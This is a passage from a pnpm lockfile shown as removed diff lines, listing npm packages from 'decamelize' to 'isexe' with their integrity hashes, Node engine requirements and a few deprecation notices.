- resolution: {integrity: sha512-pt0bNEmneDIvdL1Xsd9oDQ/wrQRkXDT4AUWlNZNPKvW5x/jyO9VFXkJUP07vQ2upmw5PlaITaPKc31jK13V+jg==}
- engines: {node: '>=6.0'}
- peerDependencies:
- supports-color: '*'
- peerDependenciesMeta:
- supports-color:
- optional: true
-
- decamelize@1.2.0:
- resolution: {integrity: sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==}
- engines: {node: '>=0.10.0'}
-
- deepmerge@4.3.1:
- resolution: {integrity: sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==}
- engines: {node: '>=0.10.0'}
-
- define-data-property@1.1.4:
- resolution: {integrity: sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==}
- engines: {node: '>= 0.4'}
-
- define-properties@1.2.1:
- resolution: {integrity: sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==}
- engines: {node: '>= 0.4'}
-
- dijkstrajs@1.0.3:
- resolution: {integrity: sha512-qiSlmBq9+BCdCA/L46dw8Uy93mloxsPSbwnm5yrKn2vMPiy8KyAskTF6zuV/j5BMsmOGZDPs7KjU+mjb670kfA==}
-
- dom-serializer@2.0.0:
- resolution: {integrity: sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==}
-
- domelementtype@2.3.0:
- resolution: {integrity: sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==}
-
- domhandler@5.0.3:
- resolution: {integrity: sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==}
- engines: {node: '>= 4'}
-
- domutils@3.1.0:
- resolution: {integrity: sha512-H78uMmQtI2AhgDJjWeQmHwJJ2bLPD3GMmO7Zja/ZZh84wkm+4ut+IUnUdRa8uCGX88DiVx1j6FRe1XfxEgjEZA==}
-
- ejs@3.1.10:
- resolution: {integrity: sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==}
- engines: {node: '>=0.10.0'}
- hasBin: true
-
- electron-to-chromium@1.5.1:
- resolution: {integrity: sha512-FKbOCOQ5QRB3VlIbl1LZQefWIYwszlBloaXcY2rbfpu9ioJnNh3TK03YtIDKDo3WKBi8u+YV4+Fn2CkEozgf4w==}
-
- emoji-regex@10.3.0:
- resolution: {integrity: sha512-QpLs9D9v9kArv4lfDEgg1X/gN5XLnf/A6l9cs8SPZLRZR3ZkY9+kwIQTxm+fsSej5UMYGE8fdoaZVIBlqG0XTw==}
-
- emoji-regex@8.0.0:
- resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==}
-
- encode-utf8@1.0.3:
- resolution: {integrity: sha512-ucAnuBEhUK4boH2HjVYG5Q2mQyPorvv0u/ocS+zhdw0S8AlHYY+GOFhP1Gio5z4icpP2ivFSvhtFjQi8+T9ppw==}
-
- entities@4.5.0:
- resolution: {integrity: sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==}
- engines: {node: '>=0.12'}
-
- envinfo@7.13.0:
- resolution: {integrity: sha512-cvcaMr7KqXVh4nyzGTVqTum+gAiL265x5jUWQIDLq//zOGbW+gSW/C+OWLleY/rs9Qole6AZLMXPbtIFQbqu+Q==}
- engines: {node: '>=4'}
- hasBin: true
-
- es-abstract@1.23.3:
- resolution: {integrity: sha512-e+HfNH61Bj1X9/jLc5v1owaLYuHdeHHSQlkhCBiTK8rBvKaULl/beGMxwrMXjpYrv4pz22BlY570vVePA2ho4A==}
- engines: {node: '>= 0.4'}
-
- es-define-property@1.0.0:
- resolution: {integrity: sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==}
- engines: {node: '>= 0.4'}
-
- es-errors@1.3.0:
- resolution: {integrity: sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==}
- engines: {node: '>= 0.4'}
-
- es-object-atoms@1.0.0:
- resolution: {integrity: sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw==}
- engines: {node: '>= 0.4'}
-
- es-set-tostringtag@2.0.3:
- resolution: {integrity: sha512-3T8uNMC3OQTHkFUsFq8r/BwAXLHvU/9O9mE0fBc/MY5iq/8H7ncvO947LmYA6ldWw9Uh8Yhf25zu6n7nML5QWQ==}
- engines: {node: '>= 0.4'}
-
- es-to-primitive@1.2.1:
- resolution: {integrity: sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==}
- engines: {node: '>= 0.4'}
-
- esbuild@0.21.5:
- resolution: {integrity: sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw==}
- engines: {node: '>=12'}
- hasBin: true
-
- escalade@3.1.2:
- resolution: {integrity: sha512-ErCHMCae19vR8vQGe50xIsVomy19rg6gFu3+r3jkEO46suLMWBksvVyoGgQV+jOfl84ZSOSlmv6Gxa89PmTGmA==}
- engines: {node: '>=6'}
-
- escape-string-regexp@1.0.5:
- resolution: {integrity: sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==}
- engines: {node: '>=0.8.0'}
-
- esm@3.2.25:
- resolution: {integrity: sha512-U1suiZ2oDVWv4zPO56S0NcR5QriEahGtdN2OR6FiOG4WJvcjBVFB0qI4+eKoWFH483PKGuLuu6V8Z4T5g63UVA==}
- engines: {node: '>=6'}
-
- esprima@4.0.1:
- resolution: {integrity: sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==}
- engines: {node: '>=4'}
- hasBin: true
-
- estree-walker@1.0.1:
- resolution: {integrity: sha512-1fMXF3YP4pZZVozF8j/ZLfvnR8NSIljt56UhbZ5PeeDmmGHpgpdwQt7ITlGvYaQukCvuBRMLEiKiYC+oeIg4cg==}
-
- estree-walker@2.0.2:
- resolution: {integrity: sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==}
-
- esutils@2.0.3:
- resolution: {integrity: sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==}
- engines: {node: '>=0.10.0'}
-
- execa@9.3.0:
- resolution: {integrity: sha512-l6JFbqnHEadBoVAVpN5dl2yCyfX28WoBAGaoQcNmLLSedOxTxcn2Qa83s8I/PA5i56vWru2OHOtrwF7Om2vqlg==}
- engines: {node: ^18.19.0 || >=20.5.0}
-
- extend-shallow@2.0.1:
- resolution: {integrity: sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==}
- engines: {node: '>=0.10.0'}
-
- fast-deep-equal@3.1.3:
- resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==}
-
- fast-glob@3.3.2:
- resolution: {integrity: sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==}
- engines: {node: '>=8.6.0'}
-
- fast-json-stable-stringify@2.1.0:
- resolution: {integrity: sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==}
-
- fast-uri@3.0.1:
- resolution: {integrity: sha512-MWipKbbYiYI0UC7cl8m/i/IWTqfC8YXsqjzybjddLsFjStroQzsHXkc73JutMvBiXmOvapk+axIl79ig5t55Bw==}
-
- fastq@1.17.1:
- resolution: {integrity: sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w==}
-
- fflate@0.8.2:
- resolution: {integrity: sha512-cPJU47OaAoCbg0pBvzsgpTPhmhqI5eJjh/JIu8tPj5q+T7iLvW/JAYUqmE7KOB4R1ZyEhzBaIQpQpardBF5z8A==}
-
- figures@6.1.0:
- resolution: {integrity: sha512-d+l3qxjSesT4V7v2fh+QnmFnUWv9lSpjarhShNTgBOfA0ttejbQUAlHLitbjkoRiDulW0OPoQPYIGhIC8ohejg==}
- engines: {node: '>=18'}
-
- filelist@1.0.4:
- resolution: {integrity: sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==}
-
- fill-range@7.1.1:
- resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==}
- engines: {node: '>=8'}
-
- find-up@4.1.0:
- resolution: {integrity: sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==}
- engines: {node: '>=8'}
-
- for-each@0.3.3:
- resolution: {integrity: sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==}
-
- fraction.js@4.3.7:
- resolution: {integrity: sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew==}
-
- fs-extra@11.2.0:
- resolution: {integrity: sha512-PmDi3uwK5nFuXh7XDTlVnS17xJS7vW36is2+w3xcv8SVxiB4NyATf4ctkVY5bkSjX0Y4nbvZCq1/EjtEyr9ktw==}
- engines: {node: '>=14.14'}
-
- fs-extra@9.1.0:
- resolution: {integrity: sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==}
- engines: {node: '>=10'}
-
- fs.realpath@1.0.0:
- resolution: {integrity: sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==}
-
- fsevents@2.3.3:
- resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==}
- engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0}
- os: [darwin]
-
- function-bind@1.1.2:
- resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==}
-
- function.prototype.name@1.1.6:
- resolution: {integrity: sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg==}
- engines: {node: '>= 0.4'}
-
- functions-have-names@1.2.3:
- resolution: {integrity: sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==}
-
- gensync@1.0.0-beta.2:
- resolution: {integrity: sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==}
- engines: {node: '>=6.9.0'}
-
- get-caller-file@2.0.5:
- resolution: {integrity: sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==}
- engines: {node: 6.* || 8.* || >= 10.*}
-
- get-east-asian-width@1.2.0:
- resolution: {integrity: sha512-2nk+7SIVb14QrgXFHcm84tD4bKQz0RxPuMT8Ag5KPOq7J5fEmAg0UbXdTOSHqNuHSU28k55qnceesxXRZGzKWA==}
- engines: {node: '>=18'}
-
- get-intrinsic@1.2.4:
- resolution: {integrity: sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==}
- engines: {node: '>= 0.4'}
-
- get-own-enumerable-property-symbols@3.0.2:
- resolution: {integrity: sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g==}
-
- get-stream@9.0.1:
- resolution: {integrity: sha512-kVCxPF3vQM/N0B1PmoqVUqgHP+EeVjmZSQn+1oCRPxd2P21P2F19lIgbR3HBosbB1PUhOAoctJnfEn2GbN2eZA==}
- engines: {node: '>=18'}
-
- get-symbol-description@1.0.2:
- resolution: {integrity: sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg==}
- engines: {node: '>= 0.4'}
-
- giscus@1.5.0:
- resolution: {integrity: sha512-t3LL0qbSO3JXq3uyQeKpF5CegstGfKX/0gI6eDe1cmnI7D56R7j52yLdzw4pdKrg3VnufwCgCM3FDz7G1Qr6lg==}
-
- glob-parent@5.1.2:
- resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==}
- engines: {node: '>= 6'}
-
- glob@7.2.3:
- resolution: {integrity: sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==}
- deprecated: Glob versions prior to v9 are no longer supported
-
- globals@11.12.0:
- resolution: {integrity: sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==}
- engines: {node: '>=4'}
-
- globalthis@1.0.4:
- resolution: {integrity: sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==}
- engines: {node: '>= 0.4'}
-
- globby@14.0.2:
- resolution: {integrity: sha512-s3Fq41ZVh7vbbe2PN3nrW7yC7U7MFVc5c98/iTl9c2GawNMKx/J648KQRW6WKkuU8GIbbh2IXfIRQjOZnXcTnw==}
- engines: {node: '>=18'}
-
- gopd@1.0.1:
- resolution: {integrity: sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==}
-
- graceful-fs@4.2.11:
- resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==}
-
- gray-matter@4.0.3:
- resolution: {integrity: sha512-5v6yZd4JK3eMI3FqqCouswVqwugaA9r4dNZB1wwcmrD02QkV5H0y7XBQW8QwQqEaZY1pM9aqORSORhJRdNK44Q==}
- engines: {node: '>=6.0'}
-
- has-bigints@1.0.2:
- resolution: {integrity: sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==}
-
- has-flag@3.0.0:
- resolution: {integrity: sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==}
- engines: {node: '>=4'}
-
- has-flag@4.0.0:
- resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==}
- engines: {node: '>=8'}
-
- has-property-descriptors@1.0.2:
- resolution: {integrity: sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==}
-
- has-proto@1.0.3:
- resolution: {integrity: sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q==}
- engines: {node: '>= 0.4'}
-
- has-symbols@1.0.3:
- resolution: {integrity: sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==}
- engines: {node: '>= 0.4'}
-
- has-tostringtag@1.0.2:
- resolution: {integrity: sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==}
- engines: {node: '>= 0.4'}
-
- hash-sum@2.0.0:
- resolution: {integrity: sha512-WdZTbAByD+pHfl/g9QSsBIIwy8IT+EsPiKDs0KNX+zSHhdDLFKdZu0BQHljvO+0QI/BasbMSUa8wYNCZTvhslg==}
-
- hasown@2.0.2:
- resolution: {integrity: sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==}
- engines: {node: '>= 0.4'}
-
- htmlparser2@8.0.2:
- resolution: {integrity: sha512-GYdjWKDkbRLkZ5geuHs5NY1puJ+PXwP7+fHPRz06Eirsb9ugf6d8kkXav6ADhcODhFFPMIXyxkxSuMf3D6NCFA==}
-
- human-signals@7.0.0:
- resolution: {integrity: sha512-74kytxOUSvNbjrT9KisAbaTZ/eJwD/LrbM/kh5j0IhPuJzwuA19dWvniFGwBzN9rVjg+O/e+F310PjObDXS+9Q==}
- engines: {node: '>=18.18.0'}
-
- idb@7.1.1:
- resolution: {integrity: sha512-gchesWBzyvGHRO9W8tzUWFDycow5gwjvFKfyV9FF32Y7F50yZMp7mP+T2mJIWFx49zicqyC4uefHM17o6xKIVQ==}
-
- ignore@5.3.1:
- resolution: {integrity: sha512-5Fytz/IraMjqpwfd34ke28PTVMjZjJG2MPn5t7OE4eUCUNf8BAa7b5WUS9/Qvr6mwOQS7Mk6vdsMno5he+T8Xw==}
- engines: {node: '>= 4'}
-
- immutable@4.3.7:
- resolution: {integrity: sha512-1hqclzwYwjRDFLjcFxOM5AYkkG0rpFPpr1RLPMEuGczoS7YA8gLhy8SWXYRAA/XwfEHpfo3cw5JGioS32fnMRw==}
-
- inflight@1.0.6:
- resolution: {integrity: sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==}
- deprecated: This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.
-
- inherits@2.0.4:
- resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==}
-
- internal-slot@1.0.7:
- resolution: {integrity: sha512-NGnrKwXzSms2qUUih/ILZ5JBqNTSa1+ZmP6flaIp6KmSElgE9qdndzS3cqjrDovwFdmwsGsLdeFgB6suw+1e9g==}
- engines: {node: '>= 0.4'}
-
- is-array-buffer@3.0.4:
- resolution: {integrity: sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw==}
- engines: {node: '>= 0.4'}
-
- is-bigint@1.0.4:
- resolution: {integrity: sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==}
-
- is-binary-path@2.1.0:
- resolution: {integrity: sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==}
- engines: {node: '>=8'}
-
- is-boolean-object@1.1.2:
- resolution: {integrity: sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==}
- engines: {node: '>= 0.4'}
-
- is-builtin-module@3.2.1:
- resolution: {integrity: sha512-BSLE3HnV2syZ0FK0iMA/yUGplUeMmNz4AW5fnTunbCIqZi4vG3WjJT9FHMy5D69xmAYBHXQhJdALdpwVxV501A==}
- engines: {node: '>=6'}
-
- is-callable@1.2.7:
- resolution: {integrity: sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==}
- engines: {node: '>= 0.4'}
-
- is-core-module@2.15.0:
- resolution: {integrity: sha512-Dd+Lb2/zvk9SKy1TGCt1wFJFo/MWBPMX5x7KcvLajWTGuomczdQX61PvY5yK6SVACwpoexWo81IfFyoKY2QnTA==}
- engines: {node: '>= 0.4'}
-
- is-data-view@1.0.1:
- resolution: {integrity: sha512-AHkaJrsUVW6wq6JS8y3JnM/GJF/9cf+k20+iDzlSaJrinEo5+7vRiteOSwBhHRiAyQATN1AmY4hwzxJKPmYf+w==}
- engines: {node: '>= 0.4'}
-
- is-date-object@1.0.5:
- resolution: {integrity: sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==}
- engines: {node: '>= 0.4'}
-
- is-extendable@0.1.1:
- resolution: {integrity: sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==}
- engines: {node: '>=0.10.0'}
-
- is-extglob@2.1.1:
- resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==}
- engines: {node: '>=0.10.0'}
-
- is-fullwidth-code-point@3.0.0:
- resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==}
- engines: {node: '>=8'}
-
- is-glob@4.0.3:
- resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==}
- engines: {node: '>=0.10.0'}
-
- is-interactive@2.0.0:
- resolution: {integrity: sha512-qP1vozQRI+BMOPcjFzrjXuQvdak2pHNUMZoeG2eRbiSqyvbEf/wQtEOTOX1guk6E3t36RkaqiSt8A/6YElNxLQ==}
- engines: {node: '>=12'}
-
- is-module@1.0.0:
- resolution: {integrity: sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==}
-
- is-negative-zero@2.0.3:
- resolution: {integrity: sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==}
- engines: {node: '>= 0.4'}
-
- is-number-object@1.0.7:
- resolution: {integrity: sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==}
- engines: {node: '>= 0.4'}
-
- is-number@7.0.0:
- resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==}
- engines: {node: '>=0.12.0'}
-
- is-obj@1.0.1:
- resolution: {integrity: sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==}
- engines: {node: '>=0.10.0'}
-
- is-plain-obj@4.1.0:
- resolution: {integrity: sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==}
- engines: {node: '>=12'}
-
- is-regex@1.1.4:
- resolution: {integrity: sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==}
- engines: {node: '>= 0.4'}
-
- is-regexp@1.0.0:
- resolution: {integrity: sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==}
- engines: {node: '>=0.10.0'}
-
- is-shared-array-buffer@1.0.3:
- resolution: {integrity: sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg==}
- engines: {node: '>= 0.4'}
-
- is-stream@2.0.1:
- resolution: {integrity: sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==}
- engines: {node: '>=8'}
-
- is-stream@4.0.1:
- resolution: {integrity: sha512-Dnz92NInDqYckGEUJv689RbRiTSEHCQ7wOVeALbkOz999YpqT46yMRIGtSNl2iCL1waAZSx40+h59NV/EwzV/A==}
- engines: {node: '>=18'}
-
- is-string@1.0.7:
- resolution: {integrity: sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==}
- engines: {node: '>= 0.4'}
-
- is-symbol@1.0.4:
- resolution: {integrity: sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==}
- engines: {node: '>= 0.4'}
-
- is-typed-array@1.1.13:
- resolution: {integrity: sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw==}
- engines: {node: '>= 0.4'}
-
- is-unicode-supported@1.3.0:
- resolution: {integrity: sha512-43r2mRvz+8JRIKnWJ+3j8JtjRKZ6GmjzfaE/qiBJnikNnYv/6bagRJ1kUhNk8R5EX/GkobD+r+sfxCPJsiKBLQ==}
- engines: {node: '>=12'}
-
- is-unicode-supported@2.0.0:
- resolution: {integrity: sha512-FRdAyx5lusK1iHG0TWpVtk9+1i+GjrzRffhDg4ovQ7mcidMQ6mj+MhKPmvh7Xwyv5gIS06ns49CA7Sqg7lC22Q==}
- engines: {node: '>=18'}
-
- is-weakref@1.0.2:
- resolution: {integrity: sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==}
-
- isarray@2.0.5:
- resolution: {integrity: sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==}
-
- isexe@2.0.0:
